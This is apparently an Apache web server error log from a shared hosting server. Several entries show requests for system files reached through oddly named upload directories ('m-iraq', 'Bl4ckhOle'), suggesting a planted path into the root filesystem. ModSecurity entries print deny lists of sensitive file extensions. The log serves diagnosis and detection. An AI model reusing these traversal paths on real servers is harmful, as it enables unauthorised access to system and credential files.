[Fri Jul 17 09:41:09.638204 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:09.992530 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:10.007295 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:10.105029 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:10.385353 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:10.490429 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:10.971970 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:10.977013 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:11.435563 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:11.578569 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:11.727210 2026] [core:error] [pid 2050582:tid 2050582] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:0b/subsystem/drivers/pvpanic/unbind
[Fri Jul 17 09:41:11.818036 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:11.907802 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:12.214629 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:12.442643 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:56278] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:12.454863 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:12.547665 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/piix4_smbus/bind
[Fri Jul 17 09:41:13.097345 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:13.467014 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:13.558856 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:13.650637 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:13.835444 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:14.016425 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty6/subsystem/ttyS2/irq
[Fri Jul 17 09:41:14.133271 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:14.372778 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:56342] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:14.386116 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:14.576862 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:14.866910 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:14.941726 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:56366] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:15.146159 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:15.150514 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:41:15.419803 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:15.604073 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:15.787082 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:15.880328 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:16.336095 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:16.705734 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:16.797099 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:16.893749 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:16.926424 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 57.141.18.16:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory60/node0/memory84/subsystem/devices/memory93/subsystem/devices/memory60/subsystem/uevent
[Fri Jul 17 09:41:17.076329 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.099904 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.258899 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty5/subsystem/tty31/uevent"] [unique_id "almrZQRRrtuZqNDDSqW4fgAAABo"]
[Fri Jul 17 09:41:17.258947 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty5/subsystem/tty31/uevent"] [unique_id "almrZQRRrtuZqNDDSqW4fgAAABo"]
[Fri Jul 17 09:41:17.536467 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.627548 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718285 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718385 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718436 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718498 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718532 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718551 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718619 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718668 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718703 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718750 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718770 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718818 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718852 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718870 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718918 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718954 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.718989 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:17.747269 2026] [core:error] [pid 2050582:tid 2050582] (13)Permission denied: [client 47.82.8.219:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:18/subsystem/drivers_probe
[Fri Jul 17 09:41:18.264939 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:18.874086 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:18.908620 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:19.089534 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:19.364689 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:19.476320 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:19.545353 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:19.635772 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:19.914444 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:20.167682 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:20.180271 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:20.195135 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/i2c/devices/i2c-0/device/driver/module/uevent
[Fri Jul 17 09:41:20.468212 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:20.562343 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:20.568991 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:56536] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:20.758217 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:20.831178 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:21.484609 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/i2c/drivers/rt1711h/bind
[Fri Jul 17 09:41:21.598909 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:21.765967 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:22.447531 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:22.940749 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:23.175736 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:23.417114 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:42476] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:23.431356 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:42654] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:23.499978 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.11.33.250:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-includes/js/dist/hooks.min.js"] [unique_id "almra1h1WDijTxd1xw5UuQAAAAc"], referer: https://manaharasupercenter.lk/product/5kg-rice-cooker-277/
[Fri Jul 17 09:41:23.500010 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.11.33.250:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-includes/js/dist/hooks.min.js"] [unique_id "almra1h1WDijTxd1xw5UuQAAAAc"], referer: https://manaharasupercenter.lk/product/5kg-rice-cooker-277/
[Fri Jul 17 09:41:23.730866 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:23.911807 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:24.002941 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:24.290642 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:24.571115 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:24.753925 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:25.353700 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:25.382881 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:42936] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:25.418472 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:25.517798 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:25.669023 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:25.973671 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:26.059720 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:26.243292 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:26.524035 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:26.625382 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:26.956179 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:27.004873 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:27.107260 2026] [security2:error] [pid 2013797:tid 2013797] [client 47.128.48.100:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/home/cagefs-skeleton/opt/alt/php81/etc/php.d.all/enchant.ini"] [unique_id "almrb1h1WDijTxd1xw5UwgAAAAc"]
[Fri Jul 17 09:41:27.107769 2026] [security2:error] [pid 2013797:tid 2013797] [client 47.128.48.100:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/home/cagefs-skeleton/opt/alt/php81/etc/php.d.all/enchant.ini"] [unique_id "almrb1h1WDijTxd1xw5UwgAAAAc"]
[Fri Jul 17 09:41:27.140078 2026] [security2:error] [pid 2013797:tid 2013797] [client 47.128.48.100:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/home/cagefs-skeleton/opt/alt/php81/etc/php.d.all/enchant.ini"] [unique_id "almrb1h1WDijTxd1xw5UwgAAAAc"]
[Fri Jul 17 09:41:27.268360 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:27.296508 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:27.784765 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:27.877128 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:28.063009 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:28.154076 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:28.251290 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:28.435268 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:28.519958 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:28.614801 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:28.706143 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:28.733705 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:28.737521 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:28.797151 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:29.071558 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:29.255104 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:29.343873 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:29.530435 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty5/subsystem/tty10/uevent"] [unique_id "almrcTsMb3am0TgkjETjZwAAAAo"]
[Fri Jul 17 09:41:29.530484 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty5/subsystem/tty10/uevent"] [unique_id "almrcTsMb3am0TgkjETjZwAAAAo"]
[Fri Jul 17 09:41:29.619450 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:29.893224 2026] [core:error] [pid 2050582:tid 2050582] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/trueuserdomains
[Fri Jul 17 09:41:30.033540 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:30.220158 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:30.438507 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:30.454476 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:43150] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:30.621744 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:30.805787 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:30.982744 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:30.990710 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:31.145209 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:31.171348 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:31.261116 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:32.659541 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:41966] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:33.492903 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:33.527319 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:34.075150 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/anandav2/js/"] [unique_id "almrdlCBpfuYyhJ140vbVwAAAB4"]
[Fri Jul 17 09:41:34.075680 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/anandav2/js/"] [unique_id "almrdlCBpfuYyhJ140vbVwAAAB4"]
[Fri Jul 17 09:41:34.076248 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/anandav2/js/"] [unique_id "almrdlCBpfuYyhJ140vbVwAAAB4"]
[Fri Jul 17 09:41:34.285814 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:42056] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:34.921954 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:42118] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:34.979119 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:34.991523 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:35.141241 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:35.365187 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:35.423366 2026] [core:error] [pid 2050572:tid 2050572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:00/subsystem/drivers/serial/bind
[Fri Jul 17 09:41:35.503329 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:36.919187 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:42190] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:37.229888 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:37.411924 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:37.676692 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:42232] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:39.429544 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:40.086470 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:40.175819 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:40.423669 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/sound/card0/controlC0/uevent"] [unique_id "almrfIe39YUk0SgV8AVCzQAAABE"]
